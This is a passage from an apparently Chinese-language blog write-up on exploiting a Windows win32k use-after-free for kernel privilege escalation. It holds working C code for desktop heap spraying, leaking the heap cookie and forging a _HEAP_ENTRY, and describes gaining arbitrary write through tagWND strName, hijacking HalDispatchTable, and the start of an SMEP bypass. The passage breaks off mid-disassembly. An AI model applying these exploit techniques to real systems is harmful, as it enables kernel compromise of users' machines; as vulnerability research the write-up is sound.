<span class="o">*</span> <span class="n">Offset</span> <span class="mh">0x8</span><span class="o">:</span> <span class="mi">2</span> <span class="err">字节大概可控的数据</span> <span class="p">(</span><span class="n">atomKey</span><span class="p">)</span>
<span class="o">*</span> <span class="n">Offset</span> <span class="mh">0xa</span><span class="o">:</span> <span class="mi">2</span> <span class="err">字节不可控的数据</span> <span class="p">(</span><span class="n">fs</span><span class="p">)</span>
<span class="o">*</span> <span class="n">Offset</span> <span class="mh">0xc</span><span class="o">:</span> <span class="mi">4</span> <span class="err">字节不能修改的数据</span> <span class="p">(</span><span class="n">padding</span><span class="p">)</span>
</code></pre></div></div>
<p>这里在对相邻块进行覆写时会产生一个问题,如果只是覆盖相邻块开头的8字节就能产生效果就还行,
但若是要继续往深了走覆盖后面的字段才能产生效果的话就会不可避免的破坏一些原本的值,可能造成崩溃,
好在这有个不错的结构对象,就是 <code class="highlighter-rouge">tagWND</code> 结构体的 <code class="highlighter-rouge">strName</code> 成员,该成员的结构类型是 <code class="highlighter-rouge">_LARGE_UNICODE_STRING</code>:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
kd> dt !_LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B
+0x004 MaximumLength : Pos 0, 31 Bits
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B
</code></pre></div></div>
<p>如果我们能够覆盖到 <code class="highlighter-rouge">Buffer</code> 字段就可以通过窗体字符串指针任意读写 <code class="highlighter-rouge">MaximumLength</code> 大小字节的数据。
现在我们知道了如何用 <code class="highlighter-rouge">tagPROPLIST</code> 来修改数据,也知道哪些部分我们能控制,以及有哪些限制,
接下来我们要做的就是想办法用这部分修改数据的能力获得任意地址读写的操作原语。</p>
<h1 id="stage-2">Stage 2</h1>
<p>按照我们的思路在初始化阶段准备大量 <code class="highlighter-rouge">tagWND</code> 结构:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">InitWindows</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hInstance</span><span class="p">,</span> <span class="n">HWND</span><span class="o">*</span> <span class="n">hwndArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">count</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">hwndArray</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">CreateWindowExA</span><span class="p">(</span>
<span class="mi">0</span><span class="p">,</span>
<span class="n">g_szClassName</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span>
<span class="n">WS_OVERLAPPEDWINDOW</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="p">(</span><span class="n">HWND</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span>
<span class="p">(</span><span class="n">HMENU</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span>
<span class="nb">NULL</span><span class="p">,</span>
<span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="nb">NULL</span>
<span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hwndArray</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="n">SetPropA</span><span class="p">(</span><span class="n">hwndArray</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)(</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xCCCCCCCCCCCCCCCC</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">InitWindows</span><span class="p">(</span><span class="n">hInstance</span><span class="p">,</span> <span class="n">inithwnd</span><span class="p">,</span> <span class="n">MAX_OBJECTS</span><span class="p">);</span> <span class="c1">// 这一部分作为内存填充
</span>
<span class="n">InitWindows</span><span class="p">(</span><span class="n">hInstance</span><span class="p">,</span> <span class="n">spraywnd</span><span class="p">,</span> <span class="n">MAX_SPRAY_OBJECTS</span><span class="p">);</span> <span class="c1">// 这一部分为增加 tagPROP 条目作铺垫
</span>
<span class="c1">// 准备一个缺口
</span><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="mh">0x150</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DestroyWindow</span><span class="p">(</span><span class="n">inithwnd</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在回调函数中释放 <code class="highlighter-rouge">tagSBINFO</code> 然后分配 <code class="highlighter-rouge">tagPROPLIST</code>,这时是第二次调用 <code class="highlighter-rouge">setPropA</code>,所以分配的是 0x28 大小的块。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">hookflag</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">hookcount</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">hookflag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">DebugBreak</span><span class="p">();</span>
<span class="n">DestroyWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">);</span>
<span class="n">DebugBreak</span><span class="p">();</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">MAX_SPRAY_OBJECTS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">SetPropA</span><span class="p">(</span><span class="n">spraywnd</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="mh">0x06</span><span class="p">,</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xCAFECAFECAFECAFE</span><span class="p">);</span>
<span class="n">DebugBreak</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以用 windbg 脚本查看 desktop heap 的分配情况:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ba e 1 nt!RtlAllocateHeap "r @$t2 = @r8; r @$t3 = @rcx; gu; .printf \"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @rax; gc";
ba e 1 nt!RtlFreeHeap ".printf \"RtlFreeHeap(%p, 0x%x, %p)\", @rcx, @edx, @r8; .echo ; gc";
</code></pre></div></div>
<p>本来按照越界写的思路去控制 <code class="highlighter-rouge">strName.Buffer</code> 似乎是可行的,但是实际调试过程中发现能控制得部分有限。
运行 poc 程序自动断在回调函数处,把 monitor 脚本设置好继续运行:</p>
<p><img src="/images/2018-11-9/debug1.png" alt="" /></p>
<p>可以看到如预期的那样 <code class="highlighter-rouge">tagSBINFO</code> 结构块被释放后分配 0x28 字节大小的 <code class="highlighter-rouge">tagPROPLIST</code> 块占了上去,
继续运行触发 uaf,修改 <code class="highlighter-rouge">cEntries</code> 字段:</p>
<p><img src="/images/2018-11-9/debug2.png" alt="" /></p>
<p>本来是 0x2 经过或运算之后变成了 0xe,这样可以越界写 (0xe-0x2)*0x10 范围的数据,我的想法是目标
<code class="highlighter-rouge">strName.Buffer</code> 的偏移是 0xd8 再加上 0x10 大小的 _HEAP_ENTRY 这样就够不到这个距离(可能不对),
还得继续深入挖掘更多信息。</p>
<p>仔细查看 <code class="highlighter-rouge">tagWND</code> 结构的信息,太长就不贴出来了,在 win7 的符号表中有,除了 <code class="highlighter-rouge">_LARGE_UNICODE_STRING</code>
结构之外还有个值得注意的 <code class="highlighter-rouge">_THRDESKHEAD</code> 结构,它的定义如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kd</span><span class="o">></span> <span class="n">dt</span> <span class="o">!</span><span class="n">_THRDESKHEAD</span>
<span class="n">win32k</span><span class="o">!</span><span class="n">_THRDESKHEAD</span>
<span class="o">+</span><span class="mh">0x000</span> <span class="n">h</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">Void</span>
<span class="o">+</span><span class="mh">0x008</span> <span class="n">cLockObj</span> <span class="o">:</span> <span class="n">Uint4B</span>
<span class="o">+</span><span class="mh">0x010</span> <span class="n">pti</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">tagTHREADINFO</span>
<span class="o">+</span><span class="mh">0x018</span> <span class="n">rpdesk</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">tagDESKTOP</span>
<span class="o">+</span><span class="mh">0x020</span> <span class="n">pSelf</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">UChar</span>
</code></pre></div></div>
<p>这个结构体内很多指针都不能被破坏,但是我们并不能完全的控制 0x10 字节的数据,这是个麻烦的问题,
不仅这个结构,就算可以越界到 <code class="highlighter-rouge">strName</code> 我们也只能完全控制前 0x8 个字节,<code class="highlighter-rouge">Buffer</code> 指针只能部分控制。
那么我们就不能直接这样越界写,得想其他路子。这里我们将注意力转移到另外一个结构体,内核的堆块有其本身的结构,
可以称为 heap 的元数据也可以叫堆头,在桌面堆中这个结构叫做 _HEAP_ENTRY,主要用来堆内存的管理,
标识堆块的大小与是否空闲的状态,它的定义如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kd</span><span class="o">></span> <span class="n">dt</span> <span class="o">!</span><span class="n">_HEAP_ENTRY</span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">_HEAP_ENTRY</span>
<span class="o">+</span><span class="mh">0x000</span> <span class="n">PreviousBlockPrivateData</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">Void</span>
<span class="o">+</span><span class="mh">0x008</span> <span class="n">Size</span> <span class="o">:</span> <span class="n">Uint2B</span> <span class="o">=></span> <span class="err">当前堆块大小</span>
<span class="o">+</span><span class="mh">0x00a</span> <span class="n">Flags</span> <span class="o">:</span> <span class="n">UChar</span> <span class="o">=></span> <span class="err">表示是否空闲</span>
<span class="o">+</span><span class="mh">0x00b</span> <span class="n">SmallTagIndex</span> <span class="o">:</span> <span class="n">UChar</span> <span class="o">=></span> <span class="err">检测是否被覆盖</span>
<span class="o">+</span><span class="mh">0x00c</span> <span class="n">PreviousSize</span> <span class="o">:</span> <span class="n">Uint2B</span> <span class="o">=></span> <span class="err">前一个堆块大小</span>
<span class="o">+</span><span class="mh">0x00e</span> <span class="n">SegmentOffset</span> <span class="o">:</span> <span class="n">UChar</span>
<span class="o">+</span><span class="mh">0x00f</span> <span class="n">UnusedBytes</span> <span class="o">:</span> <span class="n">UChar</span>
</code></pre></div></div>
<p>有关堆头结构的详细介绍可以查看这篇文章 <a href="https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux/">Leviathan blog entry</a>,
堆头是 0x10 字节大小,前 8 字节如果有对齐的需要就存放上一个堆块的数据,size 域和 prevsize 域存放的是本来数值除以 0x10,
Flags 域用来表示当前堆块是空闲状态还是使用状态,SmallTagIndex 域则是用来做安全检查的,存放一个异或加密过的值
就像 stack cookie 那样检测是否有溢出。</p>
<p>虽然不能直接覆盖 strName.Buffer,但是我们可以拿 _HEAP_ENTRY 开刀,而且 SetPROP 刚好可以完全控制下一个堆块
_HEAP_ENTRY 关键的数据结构,修改它的大小让其包含 tagWND 结构,然后释放掉它再分配一个 tagPROP + tagWND 大小的堆块,
这样我们就可以控制堆块的内容来修改 tagWND。现在调整一下风水布局,和 Ncc Group 的略有不同,用 window text 结构可以任意分配内存大小,
这样更为方便,新的堆布局如下:</p>
<p><img src="/images/2018-11-9/heap_spray5.jpg" alt="" /></p>
<p>触发 uaf 后 tagSBINFO 位置处会被替换成 tagPROPLIST 结构,然后调用 setPROP 修改相邻 window text 的 _HEAP_ENTRY
将其 size 域覆盖成 sizeof(overlay1) + sizeof(tagWND) + sizeof(_HEAP_ENTRY),然后释放掉,分配一个 window text
来操作里面的数据。</p>
<p><img src="/images/2018-11-9/heap_spray6.jpg" alt="" /></p>
<p>现在我们能用任何想要的数据覆盖 strName.Buffer 的指针,虽然 tagWND 的其他数据需要修复,不过这可以从用户空间读取,
桌面堆会映射到用户空间,准备好 tagWND 的全部数据,把 Buffer 指针的值修改成目的地址,然后申请这部分内存。</p>
<p>堆内存的预期布局我们已经设计好,后面就是具体的实施了,一共需要三组 tagWND,先初始化用来占位的一组和用来设置 tagPROP 的一组:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">MAX_OBJECTS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">InitWindow</span><span class="p">(</span><span class="n">hInstance</span><span class="p">,</span> <span class="n">hwndlist1</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
<span class="n">SetPropA</span><span class="p">(</span><span class="n">hwndlist1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)(</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xCCCCCCCCCCCCCCCC</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">MAX_SPRAY_OBJECTS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">InitWindow</span><span class="p">(</span><span class="n">hInstance</span><span class="p">,</span> <span class="n">spraywnd</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
<span class="n">SetPropA</span><span class="p">(</span><span class="n">spraywnd</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)(</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xCCCCCCCCCCCCCCCC</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这两组 tagWND 的位置可以不用管,然后我们用第一组 tagWND 也就是 hwndlist1 做两件事,一个是分配 0x30 字节大小的
tagPROP 为同样 0x30 字节大小堆块的 tagSBINFO 占位,</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// property list
</span><span class="n">SetPropA</span><span class="p">(</span><span class="n">hwndlist1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="mh">0x1000</span><span class="p">),</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xBBBBBBBBBBBBBBBB</span><span class="p">);</span>
</code></pre></div></div>
<p>另外就是设置 window text 作为合并内存的头尾,在两次 window text 分配的中间就需要插入 tagWND 结构,中间的插入交给第三组
tagWND。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// build first overlay
</span><span class="n">memset</span><span class="p">(</span><span class="n">o1str</span><span class="p">,</span> <span class="sc">'\x43'</span><span class="p">,</span> <span class="n">OVERLAY2_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
<span class="n">RtlInitLargeUnicodeString</span><span class="p">(</span><span class="o">&</span><span class="n">o1lstr</span><span class="p">,</span> <span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="p">)</span><span class="n">o1str</span><span class="p">,</span> <span class="p">(</span><span class="n">UINT</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">OVERLAY1_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">o2str</span><span class="p">,</span> <span class="sc">'\x41'</span><span class="p">,</span> <span class="n">OVERLAY2_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
<span class="n">RtlInitLargeUnicodeString</span><span class="p">(</span><span class="o">&</span><span class="n">o2lstr</span><span class="p">,</span> <span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="p">)</span><span class="n">o2str</span><span class="p">,</span> <span class="p">(</span><span class="n">UINT</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">OVERLAY2_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
<span class="n">SHORT</span> <span class="n">unused_win_index</span> <span class="o">=</span> <span class="mh">0x20</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">SHORT</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">MAX_OBJECTS</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// property list
</span> <span class="n">SetPropA</span><span class="p">(</span><span class="n">hwndlist1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="mh">0x1000</span><span class="p">),</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xBBBBBBBBBBBBBBBB</span><span class="p">);</span>
<span class="c1">// overlay 1
</span> <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="mh">0x150</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">NtUserDefSetText</span><span class="p">(</span><span class="n">hwndlist1</span><span class="p">[</span><span class="n">MAX_OBJECTS</span> <span class="o">-</span> <span class="p">(</span><span class="n">unused_win_index</span><span class="o">--</span><span class="p">)],</span> <span class="o">&</span><span class="n">o1lstr</span><span class="p">);</span>
<span class="n">InitWindow</span><span class="p">(</span><span class="n">hInstance</span><span class="p">,</span> <span class="n">hwndlist2</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
<span class="c1">// overlay 2
</span> <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="mh">0x150</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">NtUserDefSetText</span><span class="p">(</span><span class="n">hwndlist1</span><span class="p">[</span><span class="n">MAX_OBJECTS</span> <span class="o">-</span> <span class="p">(</span><span class="n">unused_win_index</span><span class="o">--</span><span class="p">)],</span> <span class="o">&</span><span class="n">o2lstr</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这样我们的堆内存布局就实施完成了。</p>
<p>现在还有一个很重要的问题没有解决,刚刚在堆布局的时候我没有说,就是 heap cookie 的问题,我们已经知道
_HEAP_ENTRY 结构每个字段的值表示什么,但是在内存中查看会发现和我们预期的不一样,是一个很奇怪的值,</p>
<p><img src="/images/2018-11-9/heap_entry.png" alt="" /></p>
<p>其实是 windows 实现了一个 heap cookie,每次开机都会产生一个随机数 cookie,对本来的 _HEAP_ENTRY
进行异或加密,那么我们正确的覆盖它就还需要将设置好的值和 cookie 异或过再放上去才行。
利用代码中有现成的泄露 cookie 的方法:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">GetDHeapCookie</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">MemInfo</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
<span class="n">BYTE</span> <span class="o">*</span><span class="n">Addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="n">ULONG_PTR</span> <span class="n">dheap</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">pSharedInfo</span><span class="o">-></span><span class="n">aheList</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">VirtualQuery</span><span class="p">(</span><span class="n">Addr</span><span class="p">,</span> <span class="o">&</span><span class="n">MemInfo</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">MemInfo</span><span class="p">)))</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">MemInfo</span><span class="p">.</span><span class="n">Protect</span> <span class="o">=</span> <span class="n">PAGE_READONLY</span> <span class="o">&&</span> <span class="n">MemInfo</span><span class="p">.</span><span class="n">Type</span> <span class="o">==</span> <span class="n">MEM_MAPPED</span> <span class="o">&&</span> <span class="n">MemInfo</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">UINT</span> <span class="o">*</span><span class="p">)((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">MemInfo</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xffeeffee</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="o">*</span><span class="p">)((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">MemInfo</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">MemInfo</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">deltaDHeap</span><span class="p">))</span>
<span class="p">{</span>
<span class="n">xorKey</span><span class="p">.</span><span class="n">append</span><span class="p">(</span> <span class="p">(</span><span class="n">CHAR</span><span class="o">*</span><span class="p">)((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">MemInfo</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">),</span> <span class="mi">16</span> <span class="p">);</span>
<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">Addr</span> <span class="o">+=</span> <span class="n">MemInfo</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>我们直接拿来用就好了,原理也是从桌面堆映射到用户空间的内存里取出 cookie 的值,然后构造好 size、prevsize、
small tagIndex 之后整串字符和 cookie 值异或完就可以放上去了。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memset</span><span class="p">(</span><span class="n">o2str</span><span class="p">,</span> <span class="sc">'\x41'</span><span class="p">,</span> <span class="n">OVERLAY2_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">o2str</span> <span class="o">=</span> <span class="mh">0x00000000</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">o2str</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x00000000</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">o2str</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x00010000</span> <span class="o">+</span> <span class="n">OVERLAY2_SIZE</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">o2str</span> <span class="o">+</span> <span class="mi">12</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x10000000</span> <span class="o">+</span> <span class="p">((</span><span class="n">OVERLAY1_SIZE</span> <span class="o">+</span> <span class="n">TAGWND_SIZE</span> <span class="o">+</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x10</span><span class="p">);</span>
<span class="n">string</span> <span class="n">clearh</span><span class="p">,</span> <span class="n">newh</span><span class="p">;</span>
<span class="n">o2str</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">=</span> <span class="n">o2str</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">^</span> <span class="n">o2str</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">^</span> <span class="n">o2str</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="n">clearh</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">o2str</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">newh</span> <span class="o">=</span> <span class="n">XOR</span><span class="p">(</span><span class="n">clearh</span><span class="p">,</span> <span class="n">xorKey</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">o2str</span><span class="p">,</span> <span class="n">newh</span><span class="p">.</span><span class="n">c_str</span><span class="p">(),</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">RtlInitLargeUnicodeString</span><span class="p">(</span><span class="o">&</span><span class="n">o2lstr</span><span class="p">,</span> <span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="p">)</span><span class="n">o2str</span><span class="p">,</span> <span class="p">(</span><span class="n">UINT</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">OVERLAY2_SIZE</span> <span class="o">-</span> <span class="n">_HEAP_BLOCK_SIZE</span><span class="p">);</span>
</code></pre></div></div>
<h1 id="code-execution">Code Execution</h1>
<p>现在控制了 strName.Buffer 也就可以任意地址写了,后面的利用的套路都是通用的,可以用这个写操作原语覆盖
nt!HalDispatchTable 的第二项,然后在用户态调用 NtQueryInternalProfile() 函数,然后内核中会执行
nt!KeQueryIntervalProfile,该函数中有这样一个代码片段</p>
<p><img src="/images/2018-11-9/code_exec.png" alt="" /></p>
<p>调用了 HalDispatchTable 偏移 0x8 地址处的函数,我们把这个地址处的函数替换成任意地址的代码。
可以在用户态调用 NtQuerySystemInformation() 来获取模块信息,这些信息中就包含模块基址,然后通过基址计算出
HalDispatchTable 在内核中的地址。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rc</span> <span class="o">=</span> <span class="n">NtQuerySystemInformation</span><span class="p">((</span><span class="n">SYSTEM_INFORMATION_CLASS</span><span class="p">)</span><span class="mi">11</span><span class="p">,</span> <span class="n">pModuleInfo</span><span class="p">,</span> <span class="mh">0x100000</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>
<p>得到代码执行是不是就万事大吉了呢?实际上我们还有一些缓解措施需要绕过,第一个要解决的就是 SMEP,
它阻止我们在用户空间以内核权限执行代码,这使得修改 nt!HalDispatchTable 的列表项,使其指向用户空间地址变得不可用了。
不过我们可以用 ROP 绕,先跳转到内核空间的的某个可控制的位置,在该位置上的代码能修改 cr4 寄存器的值以关闭 SMEP,
这样就能跳转到用户空间执行代码了。我们可以在内核空间找到这样一处代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kd</span><span class="o">></span> <span class="n">u</span> <span class="n">fffff802</span><span class="err">`</span><span class="mo">005</span><span class="n">f97cc</span>
<span class="n">nt</span><span class="o">!</span><span class="n">KiConfigureDynamicProcessor</span><span class="o">+</span><span class="mh">0x40</span><span class="o">:</span>
<span class="n">fffff802</span><span class="err">`</span><span class="mo">005</span><span class="n">f97cc</span> <span class="mi">0</span><span class="n">f22e0</span> <span class="n">mov</span> <span class="n">cr4</span><span class="p">,</span><span class="n">rax</span>
